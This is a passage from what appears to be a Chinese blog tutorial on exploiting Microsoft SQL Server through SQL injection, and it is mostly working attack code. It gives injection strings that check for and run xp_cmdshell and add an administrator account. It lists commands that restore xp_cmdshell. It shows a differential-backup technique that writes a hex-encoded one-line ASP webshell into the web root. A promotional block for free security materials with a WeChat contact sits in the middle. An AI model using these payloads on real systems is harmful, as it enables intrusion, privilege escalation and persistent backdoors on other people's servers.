1.查看是否禁用扩展存储过程xp_cmdshell<br>id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+<br>id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+<br><br>2.执行命令<br>id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+<br>id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+
复制代码
差异备份GetShell
差异备份简介
差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
前提条件
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));<br>?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
复制代码
读配置文件
差异备份的大概流程
1.完整备份一次(保存位置当然可以改)<br>backup database 库名 to disk = 'c:\ddd.bak';--+<br><br>**2.创建表并插入数据** <br>create table [dbo].[dtest] ([cmd] [image]);--+<br>insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+<br><br>**3.进行差异备份** <br>backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+<br><br># 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>
-- 判断存储扩展是否存在,返回结果为1就OK<br>Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'<br><br>-- 恢复xp_cmdshell,返回结果为1就OK<br>Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';<br>select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'<br><br>-- 否则上传xplog70.dll<br>Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
复制代码
sp_oacreate
描述:
使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。 利用条件: